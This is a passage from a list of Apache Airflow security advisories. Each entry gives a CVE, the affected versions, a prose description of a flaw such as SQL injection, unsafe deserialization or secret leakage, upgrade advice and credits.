
Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.

Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.

References

Credits

selen (finder)
Kevin Yang (remediation developer)

Unsafe Deserialization via Legacy Serialization Keys (type/var) Bypass in XCom API

CVE-2026-33858 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-13T14:36:29.251Z

Affected

Apache Airflow from 3.1.8 before 3.2.0

Description

Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low.

Users are recommended to upgrade to Apache Airflow 3.2.0, which resolves this issue.

References

Credits

wooseokdotkim (finder)
Amogh Desai (remediation developer)

TLS Certificate Verification Disabled in Databricks Provider K8s Token Exchange

CVE-2026-32794 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-30T21:43:36.022Z

Affected

Apache Airflow Provider for Databricks from 1.10.0 before 1.12.0

Description

Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice.

This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0.

Users are recommended to upgrade to version 1.12.0, which fixes the issue.

References

Credits

Kai Aizen (reporter)
Marcin Wojtyczka (remediation developer)

3.x - Nested Variable Secret Values Bypass Redaction via max_depth=1

CVE-2026-32690 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-18T02:36:09.517Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

Secrets in Variables saved as JSON dictionaries were not properly redacted - in case thee variables were retrieved by the user the secrets stored as nested fields were not masked.

If you do not store variables with sensitive values in JSON form, you are not affected. Otherwise please upgrade to Apache Airflow 3.2.0 that has the fix implemented

References

Credits

Nguyen Anh Binh [IA Lab – FPT University] (finder)
Kevin Yang (remediation developer)

Users with asset materialization permisssions could trigger Dags they had no access to

CVE-2026-32228 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-18T02:42:30.328Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

UI / API User with asset materialize permission could trigger dags they had no access to.
Users are advised to migrate to Airflow version 3.2.0 that fixes the issue.

References

Credits

Masamune - Unit515 OPSWAT (finder)
Ahmad Abuzaid (finder)
Pierre Jeambrun (remediation developer)

JWT token appearing in logs

CVE-2026-31987 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-16T17:49:35.608Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

JWT Tokens used by tasks were exposed in logs. This could allow UI users to act as Dag Authors.
Users are advised to upgrade to Airflow version that contains fix.

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

References

Credits

unixengineer (finder)
Jason Imison (finder)
Pineapple (remediation developer)

Exposing stack trace in case of constraint error

CVE-2026-30912 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-18T02:41:53.492Z

Affected

Apache Airflow before 3.2.0

Description

In case of SQL errors, exception/stack trace of errors was exposed in API even if “api/expose_stack_traces” was set to false. That could lead to exposing additional information to potential attacker. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.

References

Credits

Masamune - Unit515 OPSWAT (finder)
Jason(Zhe-You) Liu (remediation developer)

Execution API HITL Endpoints Missing Per-Task Authorization

CVE-2026-30911 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-17T10:53:00.535Z

Affected

Apache Airflow from 3.1.0 before 3.1.8

Description

Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API’s Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

References

Credits

Kai Aizen (finder)
Aritra Basu (remediation developer)

Bad example of BashOperator shell injection via dag_run.conf

CVE-2026-30898 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-18T02:40:37.049Z

Affected

Apache Airflow before 3.2.0

Description

An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escalate privileges of UI user to allow execute code on worker. Users should review if any of their own DAGs have adopted this incorrect advice.

References

Credits

Peyton Kennedy (p80n-sec) from Endor Labs (finder)
Kevin Yang (remediation developer)

Path of session token in cookie does not consider base_url - session hijacking via co-hosted applications

CVE-2026-28779 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-17T10:43:18.236Z

Affected

Apache Airflow from 3.0.0 before 3.1.8

Description

Apache Airflow versions 3.1.0 through 3.1.7 session token (_token) in cookies is set to path=/ regardless of the configured [webserver] base_url or [api] base_url.

This allows any application co-hosted under the same domain to capture valid Airflow session tokens from HTTP request headers, allowing full session takeover without attacking Airflow itself.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

References

Credits

Daniel Wolf (finder)
Daniel Wolf (remediation developer)

DAG authorization bypass

CVE-2026-28563 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-17T10:54:55.864Z

Affected

Apache Airflow from 3.0.0 before 3.1.8

Description

Apache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission to enumerate DAGs they are not authorized to view.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

References

Credits

Masamune - Unit515 OPSWAT (finder)
Shubham Raj (remediation developer)

JWT Token Exposure in KubernetesExecutor Command-Line Arguments

CVE-2026-27173 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-22T18:42:19.144Z

Affected

Apache Airflow CNCF Kubernetes provider before 10.17.0

Description

JWT tokens that were used by workers in Kubernetes Executors have been exposed to users who had read only access to Kuberentes Pods. This could allow users with just read-only access to perform actions that were only available to running tasks via Task SDK and potentially allow to modify state of Airflow Database for tasks.

References

Credits

Nikolai Dvoinishnikov, Welltory (finder)
Anton Kuznetsov, Welltory (finder)
Anish Giri (remediation developer)

Wildcard DagVersion Listing Bypasses Per‑DAG RBAC and Leaks Metadata

CVE-2026-26929 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-17T10:54:03.388Z

Affected

Apache Airflow from 3.0.0 before 3.1.8

Description

Apache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dag_id set to “~” (wildcard for all DAGs). As a result, version metadata of DAGs that the requester is not authorized to access is returned.

Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.

References

Credits

Pierre Jeambrun (remediation developer)

API extra-links triggers XCom deserialization/class instantiation (Airflow 3.1.5)

CVE-2026-25917 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-17T20:19:53.511Z

Affected

Apache Airflow before 3.2.0

Description

References

Credits

Mahammad Huseynkhanli (finder)
Amogh Desai (remediation developer)

Apache Airflow AWS Auth Manager - Host Header Injection Leading to SAML Authentication Bypass

CVE-2026-25604 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-09T10:39:37.628Z

Affected

Apache Airflow Providers Amazon from 8.0.0 before 9.22.0

Description

In AWS Auth manager, the origin of the SAML authentication has been used as provided by the client and not verified against the actual instance URL.
This allowed to gain access to different instances with potentially different access controls by reusing SAML response from other instances.

You should upgrade to 9.22.0 version of provider if you use AWS Auth Manager.

References

Credits

Sungwuk Jung (finder)

Sensitive Azure Service Bus connection string (and possibly other providers) exposed to users with view access

CVE-2026-25219 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-15T13:14:51.470Z

Affected

Apache Airflow before 3.1.8

Description

The access_key and connection_string connection properties were not marked as sensitive names in secrets masker. This means that user with read permission could see the values in Connection UI, as well as when Connection was accidentaly logged to logs, those values could be seen in the logs. Azure Service Bus used those properties to store sensitive values. Possibly other providers could be also affected if they used the same fields to store sensitive data.

If you used Azure Service Bus connection with those values set or if you have other connections with those values storing sensitve values, you should upgrade Airflow to 3.1.8

References

Credits

Saurabh Banawar (finder)

Assigning single DAG permission leaked all DAGs Import Errors

CVE-2026-24098 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-10T18:13:52.941Z

Affected

Apache Airflow from 3.0.0 before 3.1.7

Description

Apache Airflow versions 3.0.0 - 3.1.7, has vulnerability that allows authenticated UI users with permission to one or more specific Dags to view import errors generated by other Dags they did not have access to.

Users are advised to upgrade to 3.1.7 or later, which resolves this issue

References

Credits

Saurabh (finder)

Airflow externalLogUrl Permission Bypass

CVE-2026-22922 [CVE] [CVE json] [OSV json]

Last updated: 2026-02-09T10:33:48.256Z

Affected

Apache Airflow from 3.1.0 before 3.1.7

Description

Apache Airflow versions 3.1.0 through 3.1.6 contain an authorization flaw that can allow an authenticated user with custom permissions limited to task access to view task logs without having task log access.

Users are recommended to upgrade to Apache Airflow 3.1.7 or later, which resolves this issue.

References

Credits

34selen (finder)
Shubham Raj (remediation developer)

Unsafe Pickle Deserialization in apache-airflow-providers-http leading to RCE via HttpOperator

CVE-2025-69219 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-09T10:19:56.479Z

Affected

Apache Airflow Providers Http from 5.1.0 before 6.0.0

Description

A user with access to the DB could craft a database entry that would result in executing code on Triggerer - which gives anyone who have access to DB the same permissions as Dag Author. Since direct DB access is not usual and recommended for Airflow, the likelihood of it making any damage is low.

You should upgrade to version 6.0.0 of the provider to avoid even that risk.

References

Credits

skypher (finder)
Shauryae1337 (GitHub: https://github.com/Shauryae1337) (finder)
Ahmet Artuç (finder)

proxy credentials for various providers might leak in task logs

CVE-2025-68675 [CVE] [CVE json] [OSV json]

Last updated: 2026-02-24T05:48:09.000Z

Affected

Apache Airflow from 3.0.0 before 3.1.6
Apache Airflow before 2.11.1

Description

In Apache Airflow versions before 3.1.6, and 2.11.1 the proxies and proxy fields within a Connection may include proxy URLs containing embedded authentication information. These fields were not treated as sensitive by default and therefore were not automatically masked in log output. As a result, when such connections are rendered or printed to logs, proxy credentials embedded in these fields could be exposed.

Users are recommended to upgrade to 3.1.6 or later for Airflow 3, and 2.11.1 or later for Airflow 2 which fixes this issue

References

Credits

lwlkr https://github.com/kwkr (finder)
Ankit Chaurasia (remediation developer)

Secrets in rendered templates could contain parts of sensitive values when truncated

CVE-2025-68438 [CVE] [CVE json] [OSV json]

Last updated: 2026-01-16T10:06:05.336Z

Affected

Apache Airflow from 3.1.0 before 3.1.6

Description

In Apache Airflow versions before 3.1.6, when rendered template fields in a Dag exceed [core] max_templated_field_length, sensitive values could be exposed in cleartext in the Rendered Templates UI. This occurred because serialization of those fields used a secrets masker instance that did not include user-registered mask_secret() patterns, so secrets were not reliably masked before truncation and display.

Users are recommended to upgrade to 3.1.6 or later, which fixes this issue

References

https://lists.apache.org/thread/55n7b4nlsz3vo5n4h5lrj9bfsk8ctyff

Credits

William Ashe (finder)
Amogh Desai (remediation developer)

Edge3 Worker RPC RCE on Airflow 2

CVE-2025-67895 [CVE] [CVE json] [OSV json]

Last updated: 2025-12-17T11:48:30.034Z

Affected

Apache Airflow Providers Edge3 before 2.0.0

Description

Edge3 Worker RPC RCE on Airflow 2.

This issue affects Apache Airflow Providers Edge3: before 2.0.0 - and only if you installed and configured it on Airflow 2.

The Edge3 provider support in Airflow 2 has been always development-only and not officially released, however if you installed and configured Edge3 provider in Airflow 2, it implicitly enabled non-public (normally) API which was used to test Edge Provider in Airflow 2 during the development. This API allowed Dag author to perform Remote Code Execution in the webserver context, which Dag Author was not supposed to be able to do.

If you installed and configured Edge3 provider for Airflow 2, you should uninstall it and migrate to Airflow 3. The new Edge3 provider versions (>=2.0.0) has minimum version of Airflow set to 3 and the RCE-prone Airflow 2 code is removed, so it should no longer be possible to use the Edge3 provider 2.0.0+ on Airflow 2.

If you used Edge Provider in Airflow 3, you are not affected.

References

Credits

Lee (finder)

Secrets in rendered templates not redacted properly and exposed in the UI

CVE-2025-66388 [CVE] [CVE json] [OSV json]

Last updated: 2025-12-15T11:30:42.649Z

Affected

Apache Airflow from 3.1.0 before 3.1.4

Description

A vulnerability in Apache Airflow allowed authenticated UI users to view secret values in rendered templates due to secrets not being properly redacted, potentially exposing secrets to users without the appropriate authorization.

Users are recommended to upgrade to version 3.1.4, which fixes this issue.

References

Credits

William Ashe (finder)
Amogh Desai (remediation developer)

Secrets from Airflow config file logged in plain text in DAG run logs UI

CVE-2025-66236 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-13T14:20:35.201Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

Before Airflow 3.2.0, it was unclear that secure Airflow deployments require the Deployment Manager to take appropriate actions and pay attention to security details and security model of Airflow. Some assumptions the Deployment Manager could make were not clear or explicit enough, even though Airflow's intentions and security model of Airflow did not suggest different assumptions. The overall security model [1], workload isolation [2], and JWT authentication details [3] are now described in more detail. Users concerned with role isolation and following the Airflow security model of Airflow are advised to upgrade to Airflow 3.2, where several security improvements have been implemented. They should also read and follow the relevant documents to make sure that their deployment is secure enough. It also clarifies that the Deployment Manager is ultimately responsible for securing your Airflow deployment. This had also been communicated via Airflow 3.2.0 Blog announcement [4].

[1] Security Model: https://airflow.apache.org/docs/apache-airflow/stable/security/jwt_token_authentication.html
[2] Workload isolation: https://airflow.apache.org/docs/apache-airflow/stable/security/workload.html
[3] JWT Token authentication: https://airflow.apache.org/docs/apache-airflow/stable/security/jwt_token_authentication.html
[4] Airflow 3.2.0 Blog announcement: https://airflow.apache.org/blog/airflow-3.2.0/

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

References

Credits

Saurabh Banawar (finder)
Amogh Desai (remediation developer)

Disclosure of secrets to UI via kwargs

CVE-2025-65995 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-08T19:08:56.440Z

Affected

Apache Airflow from 3.0.0 before 3.1.4
Apache Airflow before 2.11.1

Description

When a DAG failed during parsing, Airflow’s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG.

The issue has been fixed in Airflow 3.1.4 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.

References

Credits

Frieder Gottman (Cariad) (finder)
Jens Scheffler (Bosch) (reporter)
Jens Scheffler (Bosch) (remediation developer)

Privilege boundary bypass in bulk APIs (create action can upsert existing Pools/Connections/Variables)

CVE-2025-62503 [CVE] [CVE json] [OSV json]

Last updated: 2025-10-30T09:11:15.486Z

Affected

Apache Airflow from 3.0.0 before 3.1.1

Description

User with CREATE and no UPDATE privilege for Pools, Connections, Variables could update existing records via bulk create API with overwrite action.

References

https://lists.apache.org/thread/3v58249qscyn1hg240gh8hqg9pb4okcr

Credits

Maciej Kawka (finder)

Airflow 3 API: /api/v2/dagReports executes DAG Python in API

CVE-2025-62402 [CVE] [CVE json] [OSV json]

Last updated: 2025-10-30T09:14:24.818Z

Affected

Apache Airflow from 3.0.0 before 3.1.1

Description

API users via /api/v2/dagReports could perform Dag code execution in the context of the api-server if the api-server was deployed in the environment where Dag files were available.

References

https://lists.apache.org/thread/vbzxnxn031wb998hsd7vqnvh4z8nx6rs

Credits

kwkr (https://github.com/kwkr) (reporter)

Airflow Logout Not Invalidating JWT

CVE-2025-57735 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-09T11:12:40.266Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

When user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements token invalidation at logout. Users who are concerned about the logout scenario and possibility of intercepting the tokens, should upgrade to Airflow 3.2+

Users are recommended to upgrade to version 3.2.0, which fixes this issue.

References

Credits

Saurabh Banawar (finder)
Anish Giri (remediation developer)
vincent beck (remediation developer)

Command injection in “example_dag_decorator”

CVE-2025-54941 [CVE] [CVE json] [OSV json]

Last updated: 2025-10-30T09:45:25.170Z

Affected

Apache Airflow from 3.0.0 before < 3.0.5

Description

An example dag example_dag_decorator had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the example_dag_decorator please review it and apply the changes implemented in Airflow 3.0.5 accordingly.

References

https://lists.apache.org/thread/c6q6nofc6xl5bms039ks9b34v0v36df1

Credits

Nacl (reporter)

Connection sensitive details exposed to users with READ permissions

CVE-2025-54831 [CVE] [CVE json] [OSV json]

Last updated: 2025-09-26T07:28:57.402Z

Affected

Apache Airflow at 3.0.3

Description

Apache Airflow 3 introduced a change to the handling of sensitive information in Connections. The intent was to restrict access to sensitive connection fields to Connection Editing Users, effectively applying a "write-only" model for sensitive values.

In Airflow 3.0.3, this model was unintentionally violated: sensitive connection information could be viewed by users with READ permissions through both the API and the UI. This behavior also bypassed the `AIRFLOW__CORE__HIDE_SENSITIVE_VAR_CONN_FIELDS` configuration option.

This issue does not affect Airflow 2.x, where exposing sensitive information to connection editors was the intended and documented behavior.

Users of Airflow 3.0.3 are advised to upgrade Airflow to >=3.0.4.

References

https://lists.apache.org/thread/vblmfqtydrp5zgn2q8tj3slk5podxspf

RCE by race condition in example_xcom dag

CVE-2025-54550 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-19T23:47:06.426Z

Affected

Apache Airflow before 3.2.0

Description

The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value
from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary
execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.

It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however
users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of
the example with improved resiliance for that case.

Users who followed that pattern are advised to adjust their implementations accordingly.

References

Credits

Vincent55 Yang (finder)

Potential SQL injection in CopyFromExternalStageToSnowflakeOperator

CVE-2025-50213 [CVE] [CVE json] [OSV json]

Last updated: 2025-06-24T07:06:50.934Z

Affected

Apache Airflow Providers Snowflake before 6.4.0

Description

Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) vulnerability in Apache Airflow Providers Snowflake.

This issue affects Apache Airflow Providers Snowflake: before 6.4.0.

Sanitation of table and stage parameters were added in CopyFromExternalStageToSnowflakeOperator to prevent SQL injection

Users are recommended to upgrade to version 6.4.0, which fixes the issue.

References

Credits

Nhien Pham (@nhienit) at Galaxy One (finder)

Remote Code Execution via Sql Injection

CVE-2025-30473 [CVE] [CVE json] [OSV json]

Last updated: 2025-04-07T08:31:55.441Z

Affected

Apache Airflow Common SQL Provider before 1.24.1

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Airflow Common SQL Provider.

When using the partition clause in SQLTableCheckOperator as parameter (which was a recommended pattern), Authenticated UI User could inject arbitrary SQL command when triggering DAG exposing partition_clause to the user.
This allowed the DAG Triggering user to escalate privileges to execute those arbitrary commands which they normally would not have.

This issue affects Apache Airflow Common SQL Provider: before 1.24.1.

Users are recommended to upgrade to version 1.24.1, which fixes the issue.

References

Credits

nxczje (reporter)

Connection Secrets not masked in UI when Connection are added via Airflow cli

CVE-2025-27555 [CVE] [CVE json] [OSV json]

Last updated: 2026-03-11T15:10:00.713Z

Affected

Apache Airflow before 2.11.1

Description

Airflow versions before 2.11.1 have a vulnerability that allows authenticated users with audit log access to see sensitive values in audit logs which they should not see. When sensitive connection parameters were set via airflow CLI, values of those variables appeared in the audit log and were stored unencrypted in the Airflow database. While this risk is limited to users with audit log access, it is recommended to upgrade to Airflow 2.11.1 or a later version, which addresses this issue. Users who previously used the CLI to set connections should manually delete entries with those connection sensitive values from the log table. This is similar but not the same issue as CVE-2024-50378

References

Credits

sw0rd1ight (finder)

SQL injection in MySQL provider core function

CVE-2025-27018 [CVE] [CVE json] [OSV json]

Last updated: 2025-03-19T09:06:05.242Z

Affected

Apache Airflow MySQL Provider before 6.2.0

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Airflow MySQL Provider.

When user triggered a DAG with dump_sql or load_sql functions they could pass a table parameter from a UI, that could cause SQL injection by running SQL that was not intended.
It could lead to data corruption, modification and others.

This issue affects Apache Airflow MySQL Provider: before 6.2.0.

Users are recommended to upgrade to version 6.2.0, which fixes the issue.

References

Credits

Vincent55 (DEVCORE Internship Program) (finder)

SSTI to Code Execution in Airflow through Shared DB Information

CVE-2024-56373 [CVE] [CVE json] [OSV json]

Last updated: 2026-02-24T10:06:39.270Z

Affected

Apache Airflow before 2.11.1

Description

DAG Author (who already has quite a lot of permissions) could manipulate database of Airflow 2 in the way to execute arbitrary code in the web-server context, which they should normally not be able to do, leading to potentially remote code execution in the context of web-server (server-side) as a result of a user viewing historical task information.

The functionality responsible for that (log template history) has been disabled by default in 2.11.1 and users should upgrade to Airflow 3 if they want to continue to use log template history. They can also manually modify historical log file names if they want to see historical logs that were generated before the last log template change.

References

Credits

Seokchan Yoon. (finder)

Secrets not masked in UI when sensitive variables are set via Airflow cli

CVE-2024-50378 [CVE] [CVE json] [OSV json]

Last updated: 2024-11-08T14:37:07.862Z

Affected

Apache Airflow before 2.10.3

Description

Airflow versions before 2.10.3 have a vulnerability that allows authenticated users with audit log access to see sensitive values in audit logs which they should not see. When sensitive variables were set via airflow CLI, values of those variables appeared in the audit log and were stored unencrypted in the Airflow database. While this risk is limited to users with audit log access, it is recommended to upgrade to Airflow 2.10.3 or a later version, which addresses this issue. Users who previously used the CLI to set secret variables should manually delete entries with those variables from the log table.

References

Credits

Saurabh Banawar (finder)
Shubham Raj (remediation developer)

Sensitive configuration values are not masked in the logs by default

CVE-2024-45784 [CVE] [CVE json] [OSV json]

Last updated: 2024-11-15T08:20:02.608Z

Affected

Apache Airflow before 2.10.3

Description

Apache Airflow versions before 2.10.3 contain a vulnerability that could expose sensitive configuration variables in task logs. This vulnerability allows DAG authors to unintentionally or intentionally log sensitive configuration variables. Unauthorized users could access these logs, potentially exposing critical data that could be exploited to compromise the security of the Airflow deployment. In version 2.10.3, secrets are now masked in task logs to prevent sensitive configuration variables from being exposed in the logging output. Users should upgrade to Airflow 2.10.3 or the latest version to eliminate this vulnerability. If you suspect that DAG authors could have logged the secret values to the logs and that your logs are not additionally protected, it is also recommended that you update those secrets.

References

Credits

Saurabh Banawar (finder)
Amogh Desai (remediation developer)

Command Injection in an example DAG

CVE-2024-45498 [CVE] [CVE json] [OSV json]

Last updated: 2024-09-07T07:43:42.216Z

Affected

Apache Airflow at 2.10.0

Description

Example DAG: example_inlet_event_extra.py shipped with Apache Airflow version 2.10.0 has a vulnerability that allows an authenticated attacker with only DAG trigger permission to execute arbitrary commands. If you used that example as the base of your DAGs - please review if you have not copied the dangerous example; see https://github.com/apache/airflow/pull/41873 for more information. We recommend against exposing the example DAGs in your deployment. If you must expose the example DAGs, upgrade Airflow to version 2.10.1 or later.

References

Credits

Nhien Pham (aka nhienit) at Galaxy One (finder)
Amogh Desai (remediation developer)

Authenticated DAG authors could execute code on scheduler nodes

CVE-2024-45034 [CVE] [CVE json] [OSV json]

Last updated: 2024-09-07T07:45:26.032Z

Affected

Apache Airflow before 2.10.1

Description

Apache Airflow versions before 2.10.1 have a vulnerability that allows DAG authors to add local settings to the DAG folder and get it executed by the scheduler, where the scheduler is not supposed to execute code submitted by the DAG author.
Users are advised to upgrade to version 2.10.1 or later, which has fixed the vulnerability.

References

Credits

Seokchan Yoon: https://github.com/ch4n3-yoon (finder)
Amogh Desai (remediation developer)

Application does not invalidate session after password change via Airflow cli

CVE-2024-45033 [CVE] [CVE json] [OSV json]

Last updated: 2025-01-08T08:41:37.392Z

Affected

Apache Airflow Fab Provider before 1.5.2

Description

Insufficient Session Expiration vulnerability in Apache Airflow Fab Provider.

This issue affects Apache Airflow Fab Provider: before 1.5.2.

When user password has been changed with admin CLI, the sessions for that user have not been cleared, leading to insufficient session expiration, thus logged users could continue to be logged in even after the password was changed. This only happened when the password was changed with CLI. The problem does not happen in case change was done with webserver thus this is different from CVE-2023-40273 which was addressed in Apache-Airflow 2.7.0

Users are recommended to upgrade to version 1.5.2, which fixes the issue.

References

Credits

Saurabh Banawar (reporter)

FAB provider 1.2.1 and 1.2.0 did not let user to logout for Airflow

CVE-2024-42447 [CVE] [CVE json] [OSV json]

Last updated: 2024-08-04T20:03:30.234Z

Affected

Apache Airflow Providers FAB from 1.2.0 through 1.2.1

Description

Insufficient Session Expiration vulnerability in Apache Airflow Providers FAB.

This issue affects Apache Airflow Providers FAB: 1.2.1 (when used with Apache Airflow 2.9.3) and FAB 1.2.0 for all Airflow versions. The FAB provider prevented the user from logging out.

* FAB provider 1.2.1 only affected Airflow 2.9.3 (earlier and later versions of Airflow are not affected)

* FAB provider 1.2.0 affected all versions of Airflow.

Users who run Apache Airflow 2.9.3 are recommended to upgrade to Apache Airflow Providers FAB version 1.2.2 which fixes the issue.

Users who run Any Apache Airflow version and have FAB provider 1.2.0 are recommended to upgrade to Apache Airflow Providers FAB version 1.2.2 which fixes the issue.

Also upgrading Apache Airflow to latest version available is recommended.

Note: Early version of Airflow reference container images of Airflow 2.9.3 and constraint files contained FAB provider 1.2.1 version, but this is fixed in updated versions of the images.

Users are advised to pull the latest Airflow images or reinstall FAB provider according to the current constraints.

References

Stored XSS Vulnerability on provider link

CVE-2024-41937 [CVE] [CVE json] [OSV json]

Last updated: 2024-08-21T15:31:11.725Z

Affected

Apache Airflow before 2.10.0

Description

Apache Airflow, versions before 2.10.0, have a vulnerability that allows the developer of a malicious provider to execute a cross-site scripting attack when clicking on a provider documentation link. This would require the provider to be installed on the web server and the user to click the provider link.
Users should upgrade to 2.10.0 or later, which fixes this vulnerability.

References

Credits

sw0rd1ight (https://github.com/sw0rd1ight) (finder)
Amogh Desai (remediation developer)

DAG Author Code Execution possibility in airflow-scheduler

CVE-2024-39877 [CVE] [CVE json] [OSV json]

Last updated: 2024-07-17T07:54:23.158Z

Affected

Apache Airflow from 2.4.0 before 2.9.3

Description

Apache Airflow 2.4.0, and versions before 2.9.3, has a vulnerability that allows authenticated DAG authors to craft a doc_md parameter in a way that could execute arbitrary code in the scheduler context, which should be forbidden according to the Airflow Security model. Users should upgrade to version 2.9.3 or later which has removed the vulnerability.

References

Credits

Seokchan Yoon (https://github.com/ch4n3-yoon) (finder)
Wei Lee (remediation developer)

Potential XSS Vulnerability

CVE-2024-39863 [CVE] [CVE json] [OSV json]

Last updated: 2024-07-22T08:50:05.686Z

Affected

Apache Airflow before 2.9.3

Description

Apache Airflow versions before 2.9.3 have a vulnerability that allows an authenticated attacker to inject a malicious link when installing a provider. Users are recommended to upgrade to version 2.9.3, which fixes this issue.

References

Credits

Seokchan Yoon (https://github.com/ch4n3-yoon) (finder)
Amogh Desai (remediation developer)

XSS vulnerability in Task Instance Log/Log Details

CVE-2024-32077 [CVE] [CVE json] [OSV json]

Last updated: 2024-05-14T10:43:17.698Z

Affected

Apache Airflow from 2.9.0 before 2.9.1

Description

Apache Airflow version 2.9.0 has a vulnerability that allows an authenticated attacker to inject malicious data into the task instance logs.
Users are recommended to upgrade to version 2.9.1, which fixes this issue.

References

Credits

Ming (finder)
Jens Scheffler (remediation developer)

Sensitive configuration for providers displayed when “non-sensitive-only” config used

CVE-2024-31869 [CVE] [CVE json] [OSV json]

Last updated: 2024-04-18T07:18:58.062Z

Affected

Apache Airflow from 2.7.0 through 2.8.4

Description

Airflow versions 2.7.0 through 2.8.4 have a vulnerability that allows an authenticated user to see sensitive provider configuration via the “configuration” UI page when “non-sensitive-only” was set as “webserver.expose_config” configuration (The celery provider is the only community provider currently that has sensitive configurations). You should migrate to Airflow 2.9 or change your “expose_config” configuration to False as a workaround. This is similar, but different to CVE-2023-46288 which concerned API, not UI configuration page.

References

Credits

Manmeet Rangoola (finder)
Jarek Potiuk (remediation developer)

Potentially harmful permission changing by log task handler

CVE-2024-29735 [CVE] [CVE json] [OSV json]

Last updated: 2024-03-26T16:52:39.118Z

Affected

Apache Airflow from 2.8.2 through 2.8.3

Description

Improper Preservation of Permissions vulnerability in Apache Airflow.

This issue affects Apache Airflow from 2.8.2 through 2.8.3.

Airflow’s local file task handler in Airflow incorrectly set permissions for all parent folders of log folder, in default configuration adding write access to Unix group of the folders. In the case Airflow is run with the root user (not recommended) it added group write permission to all folders up to the root of the filesystem.

If your log files are stored in the home directory, these permission changes might impact your ability to run SSH operations after your home directory becomes group-writeable.

This issue does not affect users who use or extend Airflow using Official Airflow Docker reference images (https://hub.docker.com/r/apache/airflow/) - those images require to have group write permission set anyway.

You are affected only if you install Airflow using local installation / virtualenv or other Docker images, but the issue has no impact if docker containers are used as intended, i.e. where Airflow components do not share containers with other applications and users.

Also you should not be affected if your umask is 002 (group write enabled) - this is the default on many linux systems.

Recommendation for users using Airflow outside of the containers:

if you are using root to run Airflow, change your Airflow user to use non-root
upgrade Apache Airflow to 2.8.4 or above
If you prefer not to upgrade, you can change the https://airflow.apache.org/docs/apache-airflow/stable/configurations-ref.html#file-task-handler-new-folder-permissions to 0o755 (original value 0o775).
if you already ran Airflow tasks before and your default umask is 022 (group write disabled) you should stop Airflow components, check permissions of AIRFLOW_HOME/logs in all your components and all parent directories of this directory and remove group write access for all the parent directories

References

Credits

Matej Murin (finder)

FTP_TLS instance with unverified SSL context

CVE-2024-29733 [CVE] [CVE json] [OSV json]

Last updated: 2024-04-21T17:21:52.458Z

Affected

Apache Airflow FTP Provider before 3.7.0

Description

Improper Certificate Validation vulnerability in Apache Airflow FTP Provider.

The FTP hook lacks complete certificate validation in FTP_TLS connections, which can potentially be leveraged. Implementing proper certificate validation by passing context=ssl.create_default_context() during FTP_TLS instantiation is used as mitigation to validate the certificates properly.

This issue affects Apache Airflow FTP Provider: before 3.7.0.

